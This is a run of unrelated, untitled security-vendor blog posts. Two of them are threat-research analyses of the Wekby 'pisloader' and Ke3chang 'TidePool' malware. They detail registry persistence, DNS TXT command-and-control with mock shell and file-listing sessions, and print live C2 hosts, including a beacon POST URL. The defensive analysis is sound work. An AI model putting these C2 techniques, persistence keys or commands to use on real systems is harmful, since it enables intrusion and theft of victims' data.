One of the cheapest and easiest ways for an attacker to get into to your network is through users accessing the Internet. By successfully exploiting an endpoint, an attacker can take hold in your network and begin to move laterally toward an end goal, whether that is to steal your source code, exfiltrate your customer data, or take down your infrastructure. To protect your network from cyberattacks and improve your overall security posture, implement a Best Practice Internet Gateway Security Policy.
A best practice Internet gateway security policy has two main security goals:
Minimize the chance of a successful intrusion—Unlike legacy port-based security policies that either block everything in the interest of network security, or enable everything in the interest of your business, a best practice security policy leverages App-ID™, User-ID™, and Content-ID™ to ensure safe enablement of applications across all ports, for all users, all the time, while simultaneously scanning all traffic for both known and unknown threats.
Identify the presence of an attacker—A best practice Internet gateway security policy provides built-in mechanisms to help you identify gaps in the rulebase and detect alarming activity and potential threats on your network.
These best practices work because they employ methodologies (shown in the infographic below) that help you reduce your attack surface and enable detection and prevention of both known and unknown threats at all stages of the attack lifecycle.
Remember, security doesn’t come in a box. When deciding whether to implement a best practice Internet gateway security policy, answer the following questions: Are you using an application-based security policy? Blocking dangerous URLs and file types? Scanning for known and unknown threats? Decrypting traffic? If you answered no to any of these questions, you have room to improve your security posture. Get started now.
We have observed an attack led by the APT group Wekby targeting a US-based organization in recent weeks. Wekby is a group that has been active for a number of years, targeting various industries such as healthcare, telecommunications, aerospace, defense, and high tech. The group is known to leverage recently released exploits very shortly after those exploits are available, such as in the case of HackingTeam’s Flash zero-day exploit.
The malware used by the Wekby group has ties to the HTTPBrowser malware family, and uses DNS requests as a command and control mechanism. Additionally, it uses various obfuscation techniques to thwart researchers during analysis. Based on metadata seen in the discussed samples, Palo Alto Networks has named this malware family ‘pisloader’.
Infrastructure
The pisloader malware family was delivered via HTTP from the following URL. At the time of writing, this URL was still active.
This particular file has the following metadata properties. The references to ‘pisload2’ led to the naming of this malware family.
Figure 1 pisloader dropper metadata
The initial dropper contains very simple code that is responsible for setting persistence via the Run registry key, and dropping and executing an embedded Windows executable. Limited obfuscation was encountered, where the authors split up strings into smaller sub-strings and used ‘strcpy’ and ‘strcat’ calls to re-build them prior to use. They also used this same technique to generate garbage strings that are never used. This is likely to deter detection and analysis of the sample. The following decompiled code demonstrates this. Comments have been added to show the fully-generated strings.
Figure 2 pisloader dropper building strings and setting persistence
In the above decompiled code, we see that the pisloader is generating the following string, which eventually is called to set the Run registry key.
This particular command will set the HKCU\Software\Microsoft\Windows\CurrentVersion\Run\lsm registry key with a value of “%appdata%\lsm.exe”. After this key is set, the malware proceeds to decrypt a two blobs of data with a single-byte XOR key of 0x54. The resulting data is written to the %appdata%\lsm.exe file path.
After this file is written, the malware executes the newly written lsm.exe file, which contains the pisloader payload.
Payload
The following sample was discovered and is referenced in the subsequent analysis:
The payload is heavily obfuscated using a return-oriented programming (ROP) technique, as well as a number of garbage assembly instructions. In the example below, code highlighted in red essentially serves no purpose other than to deter reverse-engineering of the sample. This code can be treated as garbage and ignored. The entirety of the function is highlighted in green, where two function offsets are pushed to the stack, followed by a return instruction. This return instruction will point code execution first at the null function, which in turn will point code execution to the ‘next_function’. This technique is used throughout the runtime of the payload, making static analysis difficult.
Figure 3 Obfuscated code witnessed in pisloader
The malware is actually quite simplistic once the obfuscation and garbage code is ignored. It will begin by generating a random 10-byte alpha-numeric header. The remaining data is base32-encoded, with padding removed. This data will be used to populate a subdomain that will be used in a subsequent DNS request for a TXT record.
The use of DNS as a C2 protocol has historically not been widely adopted by malware authors. Notable exceptions include the following:
The use of DNS as a C2 allows pisloader to bypass certain security products that may not be inspecting this traffic correctly.
Figure 4 DNS query for TXT record by malware
The pisloader sample will send a beacon periodically that is composed of a random 4-byte uppercase string that is used as the payload. An example of this can be found below:
Figure 5 pisloader DNS beacon request
The malware expects various aspects of the DNS responses to be set in a specific way, or else pisloader will ignore the DNS reply. The following DNS flags must be set. Should any additional flags be set, the response will be ignored.
Response
Recursion Desired
Recursion Available
The ‘Questions’ field must be set to a value of 0x1. The ‘Answer Resource Records’ field must be set to a value of 0x1. Additionally, the response query subdomain must match the original DNS request.
The remote command and control (C2) server is statically embedded within the malware. A single host of ‘ns1.logitech-usa[.]com’ is found in this specific sample.
The C2 server will respond with a TXT record that is encoded similar to the initial request. In the response, the first byte is ignored, and the remaining data is base32-encoded. An example of this can be found below.
Figure 6 Example TXT response by C2 server
The following commands, and their descriptions are supported by the malware:
sifo – Collect victim system information
drive – List drives on victim machine
list – List file information for provided directory
upload – Upload a file to the victim machine
open – Spawn a command shell
Some examples of these commands being used can be seen below. A mock DNS server was used to generate the commands and receive the resulting data.
Example sending the ‘drive’ command:
1
2
3
[+]Sending Command:drive|Encoded:CMRZGS5TF
[+]Raw Data Received:UMAVMGAGD0IE5FY7CDHJOHYRB2LR6A
[+]Decoded Data Received:A:\|C:\|D:\|
Example sending the ‘open’ command:
1
2
3
4
5
6
7
8
9
10
11
[+]Sending Command:open|Encoded:CN5YGK3Q
[+]Raw Data Received:ULCBMGAGCAJVUWG4TPONXWM5BAK5UW4ZDPO5ZSAW2WMVZHG2LP
[+]Raw Data Received:ATABMGAGCBNYQDMLRRFY3TMMBRLUGQUQ3POB4XE2LHNB2CAKDD
[+]Raw Data Received:HTPDMGAGCCFEQDEMBQHEQE22LDOJXXG33GOQQEG33SOBXXEYLU
[+]Raw Data Received:BNJWMGAGCDNFXW4LRAEBAWY3BAOJUWO2DUOMQHEZLTMVZHMZLE
[+]Raw Data Received:UARCMGAGCEFYGQUDIKIM5FYVLTMVZHGXCKN5ZWQICHOJ2W46TX
[+]Raw Data Received:UJRAMGAGC0MVUWOXCEMVZWW5DPOA7A
[+]Decoded Data Received:Microsoft Windows[Version6.1.7601]
Copyright(c)2009Microsoft Corporation.All rights reserved.
C:\Users\Josh Grunzweig\Desktop>
Example sending the ‘sifo’ command:
1
2
3
4
5
[+]Sending Command:sifo|Encoded:CONUWM3Y
[+]Raw Data Received:FUBWMGAGIANQ6TCNZSFYYTMLRRFYYTKMZGMM6VOSKOFVGEUTCW
[+]Raw Data Received:PGHRMGAGIBGJHEWSKPJNICAW2KN5ZWQICHOJ2W46TXMVUWOXJG
[+]Raw Data Received:MMAZMGAGI0N46TMLBRFQZTE
[+]Decoded Data Received:l=172.16.1.153&c=WIN–LJLV2NKIOKP[Josh Grunzweig]&o=6,1,32
Example listing the contents of the C:\ drive:
1
2
3
4
5
6
7
8
9
10
[+]Sending Command:listC:\|Encoded:CNRUXG5BAIM5FY
[+]Raw Data Received:QKTUMGAGLAGB6CIUTFMN4WG3DFFZBGS3T4GIYDCNJPGAZS6MRW
[+]Raw Data Received:EKNPMGAGL0EAYTIORUGA5DKN34GB6DEMS6
[+]Raw Data Received:RKMAMGAGLAGF6GC5LUN5SXQZLDFZRGC5D4GIYDAOJPGA3C6MJQ
[+]Raw Data Received:NMSIMGAGL0EAZDCORUGI5DEMD4GI2HYMZSLY
[+]Raw Data Received:OHRWMGAGLAGB6EE33POR6DEMBRGUXTAMZPGI3CAMJWHIZDIORQ
[+]Raw Data Received:DPDUMGAGL0GJ6DA7BSGJPA
[+]Raw Data Received:WIKGMGAGLAGF6GE33PORWWO4T4GIYDCNBPGA3C6MRYEAYDAORS
*Truncated*
[+]Decoded Data Received:0|$Recycle.Bin|2015/03/2614:40:57|0|22^1|autoexec.bat|2009/06/1021:42:20|24|32^0|Boot|2015/03/2616:24:02|0|22^1|bootmgr|2014/06/2800:21:34|391640|39^1|BOOTSECT.BAK|2015/03/2616:35:39|8192|39^1|config.sys|2009/06/1021:42:20|10|32^0|Documents andSettings|2009/07/1404:53:55|0|9238^1|Example.log|2016/02/0920:17:55|0|32^1|pagefile.sys|2016/04/2514:09:20|1660411904|38^0|PerfLogs|2009/07/1402:37:05|0|16^0|Program Files|2016/02/2915:59:43|0|17^0|ProgramData|2016/02/0217:28:04|0|8210^0|Python27|2016/02/2516:39:37|0|16^0|Recovery|2015/03/2614:39:57|0|8214^0|System Volume Information|2016/02/2916:00:19|0|22^0|Users|2015/03/2614:39:58|0|17^0|Windows|2016/02/1210:20:21|0|16^^end^
The sifo command above uses the printf format string of ‘l=%s&c=%s&o=%s’. This is consistent with previous versions of HTTPBrowser, which is another malware family frequently used by the Wekby group.
Additionally, a number of commands themselves, such as the ‘list’, ‘drive’, and ‘upload’ commands are consistent with HTTPBrowser. The formatted responses from these commands are also identical. A known HTTPBrowser sample was spotted with similar metadata as the discussed pisloader sample, which adds further credibility that pisloader is likely a variant of this malware family.
Additionally, the code used to generate these commands is available via GitHub.
Conclusion
The Wekby group continues to target various high profile organizations using sophisticated malware. The pisloader malware family uses various novel techniques, such as using DNS as a C2 protocol, as well as making use of return-oriented programming and other anti-analysis tactics.
Palo Alto Networks customers are protected against this threat in the following ways:
WildFire correctly identifies all pisloader samples as malicious
Amy Zegart is the Co-Director of the Stanford Center for International Security and Cooperation. This year, she invited me to join the advisory council for the Stanford Cyber Policy Advisory Program; a multi-year working group think tank designed to develop cyber strategy, doctrine, and fundamental ideas for the U.S. government. She also helps run the Stanford Cyber Boot Camp series, a program that aims to educate various communities around the country about cybersecurity issues.
This week, she targeted journalists and invited me, and some other prominent network defenders, to have an off-the-record conversation regarding what we thought about how journalists approach the cybersecurity topic.
The room was filled with journalists from ABC, The Washington Post, Foreign Policy, NPR, The Wall Street Journal, CNN, and The New York Times. I have dealt with reporters before, usually in a friendly situation explaining some technical aspect of the latest security event, but I have never been outnumbered before by a factor of 20 to 1 in a situation where we might be exchanging some “off-the-record” criticism on both sides.
Amy had us in a circular, two-tiered conference room, where the network defenders sat on the bottom tier, surrounded by journalists both on the same tier and on the upper tier. Going in, it felt like we were gladiators walking into the arena with hungry lions and tigers roaming around looking to eat us on our tier, and the spectators on the higher tier, who definitely were rooting for the animals.
In truth, it was nothing like that all. It turned out to be a free exchange of information from both sides that helped to dismantle some pre-conceived and incorrect assumptions that both the network defenders and journalists had about the other side. Here is my big takeaway from the boot camp.
Journalists are professionals who know a lot of things about a gazillion different topics, cybersecurity being one of them. Network defenders are specialists with a deep knowledge about cybersecurity but probably only a cursory knowledge of other things. Most journalists are generalists without a lot of depth in any particular topic but who know how to pull a compelling story out of a specific topic by sifting through myriad known facts, assumptions and rumors. They rely on network defenders to get the facts straight and to help them find the right angle to make the story good without it turning into marketing.
Network defenders should assist in this regard as much as possible. The relationship does not have to be adversarial. We are on the same side in most cases. The reporters want to publish a good story – hopefully one that’s balanced and accurate. The network defenders want to make sure that journalists educate the general public correctly. Without our help, we lose the opportunity to help educate the masses. And that opportunity is greater than ever, with so many publications – even publications that traditionally do not cover technology topics in depth – running stories on cybersecurity.
I thought the Stanford Cyber Boot Camp series was a huge success. Even though I initially felt like I was walking into the lion’s den, with reporters lying in wait to eat me at the first opportunity, the experience turned out to be the complete opposite. Both sides walked away a bit smarter about how to deal with the other. I learned that journalists have a tough job to do even if they are really good at their craft. They mostly just want to publish a good story. I also learned that my relationship with journalists does not have to be adversarial. Network defenders can help reporters publish good stories, and at the same time, ensure that the public receives accurate stories to read about cybersecurity.
G7 leaders are gathering this month in Japan, and the meeting is a huge opportunity to position cybersecurity as an enabler of business growth, writes William Saito, CSO and Vice Chairman, Japan, at Palo Alto Networks, in a new article for the World Economic Forum.
G7 leaders, notes William, “must collaborate with stakeholders in business, academia and civil society to promote the secure expansion of ICT. It can enhance efficiency and productivity, as well as add value and real revenue growth – not only in developed countries but developing ones as well. The Internet should be considered fundamental to economic development like roads, water and electricity; this is something that funding and aid agencies should focus on more.
Read the full article for William’s thoughts on “whack-a-mole security,” shifting mindsets among business leaders concerned about security, and what the G7 can learn from organizations such as the Internet Governance Forum.
Little has been published on the threat actors responsible for Operation Ke3chang since the report was released more than two years ago. However, Unit 42 has recently discovered the actors have continued to evolve their custom malware arsenal. We’ve discovered a new malware family we’ve named TidePool. It has strong behavioral ties to Ke3chang and is being used in an ongoing attack campaign against Indian embassy personnel worldwide. This targeting is also consistent with previous attacker TTPs; Ke3chang historically targeted the Ministry of Affairs, and also conducted several prior campaigns against India.
Though we don’t have comprehensive targeting information, the spear phishing emails we found targeted several Indian embassies in different countries. One decoy references an annual report filed by over 30 Indian embassies across the globe. The sender addresses of the phishing emails spoof real people with ties to Indian embassies, adding legitimacy to the emails to prompt the recipients to open the attached file. Also noteworthy, the actors are exploiting a relatively new vulnerability in their attacks with TidePool, which is detailed below.
In this report we will highlight the reuse of the code responsible for a variety of registry changes and command and control traffic over time as the Ke3chang actor has evolved their codebase to TidePool since the 2013 report.
Exploitation of CVE-2015-2545
The weaponized document sent in phishing emails triggers the vulnerability outlined in CVE-2015-2545, which was first made public in September 2015. Unlike previously seen exploit carrier docs, this version comes packaged as an MHTML document which by default opens in Microsoft Word. We have seen multiple waves of activity with similar exploit docs, including those referenced in our recent Spivy blog. PwC recently released a great report analyzing the exploit documents themselves. The samples we are covering are documented in the “Windows User_A” section of their report (the malware they refer to as “Danti Downloader”).
The TidePool Malware Family
TidePool contains many capabilities common to most RATs. It allows the attacker to read, write and delete files and folders, and run commands over named pipes. TidePool gathers information about the victim’s computer, base64 encodes the data, and sends it to the Command and Control (C2) server via HTTP, which matches capabilities of the BS2005 malware family used by the Ke3chang actor
The TidePool malware is housed in an MHTML document which exploits CVE-2015-2545. The exploit code drops a DLL into
C:\Documents and Settings\AllUsers\IEHelper\mshtml.dll
This dropped DLL is the TidePool sample. It also launches Internet Explorer as a subprocess of the svchost service. For persistence, TidePool utilizes an ActiveSetup key, which will launch itself on boot with the following parameters:
The TidePool sample then sends victim computer information to the C2 server, as shown in Figure 1. Once a connection is made, the sample behaves as a RAT, receiving commands from the C2.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST http://goback.strangled.net:443/QCLDDMGXVXESLYT HTTP/1.1
Figure 1. The Base64 encoded data contains information about the victim’s service pack level, the current user, and the NETBIOS name of the victim system.
The Evolution From BS2005 to TidePool
During our initial triage of the TidePool samples in AutoFocus, we noticed Windows Registry modifications that by themselves were not unique, but when viewed together were used by multiple malware families. One of these families is the “BS2005” malware family used by the Ke3chang actor. This motivated us to dig deeper, since we had not seen any public reporting on them since 2013. From this analysis, Unit 42 compared the code bases of the new malware family, and the BS2005 malware samples. Based on our analysis we believe this new malware, which we are calling TidePool, is an evolution of the BS2005 malware family used by the Ke3chang actor.
Unit 42 has discovered 11 similar registry modifications that both TidePool and BS2005 employ. The registry setting that TidePool and BS2005 focuses on is:
When the IEHarden Value is set to 0 it disables the Internet Explorer Enhanced Security configuration, which is designed to prevent the execution of scripts, ActiveX Controls, file downloads, and the Microsoft virtual machine for HTML content. This is a technique common to both BS2005 and TidePool malware.
Below is the routine within TidePool that modifies the IEHarden registry settings. The repetition, order, and uniqueness of the code base in this function allowed us to link TidePool back to older versions of BS2005 and Operation Ke3chang.
Figure 2. Routine to modify the IEHarden Value linking TidePool to BS2005.
Code reuse overlap also allowed us to link the various interim malware iterations between Ke3chang and TidePool together. Going over every single code overlap would be tiresome, so we’ll highlight major functional similarities that allowed us to link TidePool to Operation Ke3chang. A listing of similar hashes and their compile dates can be found in the IOC section at the end of this blog. They are also divided into those that pre-date the Operation Ke3chang report and those that came after.
We compared 5 key samples that link TidePool to the original Operation Ke3chang malware. In order of comparison and usage we looked at:
Figure 3. Comparing a BS2005 and post Ke3chang sample C2 obfuscation routine
Not only do BS2005 and TidePool share repeating registry behaviors, they also use a similar code routine to obfuscate the C2. Further analysis shows that they also share similar Base64 string handling. This routine goes back even further to MyWeb malware samples, also associated with Operation Ke3chang.
Next we compared the codebase for setting registry keys. The code reuse displayed in Figure 4 is the sequence that sets the IEHarden registry keys and other keys used throughout TidePool and Operation Ke3chang malware.
These samples are quite similar when looking at the library functions used, but the most notable features they have in common are the timeline of behaviors executed. Ke3chang and TidePool both modify the IEHarden registry key, as well as the following list of keys. Setting these registry keys is unique to the Ke3chang and TidePool malware families.
Attribution is an inexact process, however we have compiled several interesting findings which lend themselves to our conclusion that this activity and malware is related to the original Operation Ke3chang.
Strong behavioral overlap between the TidePool malware family and malware called BS2005 utilized by Operation Ke3chang
Strong code reuse and overlap showing a branching and evolution of malware from BS2005 to TidePool.
Targeting and attack method matches historic Ke3chang targeting.
When binaries included resources, encoding was 0x04 (LANG_CHINESE) indicating the actor’s system is likely running an operating system and software with Chinese as the default display language.
Conclusion
Despite going unreported on since 2013, Operation Ke3chang has not ceased operations and in fact continued developing its malware. Unit 42 was able to track the evolution of Operation Ke3chang’s tools by observing unique behavioral quirks common throughout the malware’s lineage. By pivoting on these behaviors in AutoFocus, we were able to assess a relationship between these families dating back to at least 2012 and the creation of TidePool, a new malware family continuing in Ke3chang’s custom malware footsteps. While we can’t know all of the groups’ attacks using TidePool or older malware, we have uncovered its use against Indian Embassies, which was also documented in the 2013 report, indicating this is likely a high priority target as it has continued over multiple years.
Customers can utilize the Ke3changResurfaces AutoFocus tag to examine the samples discussed in this post. IPS coverage for TidePool is provided by TID 14588.
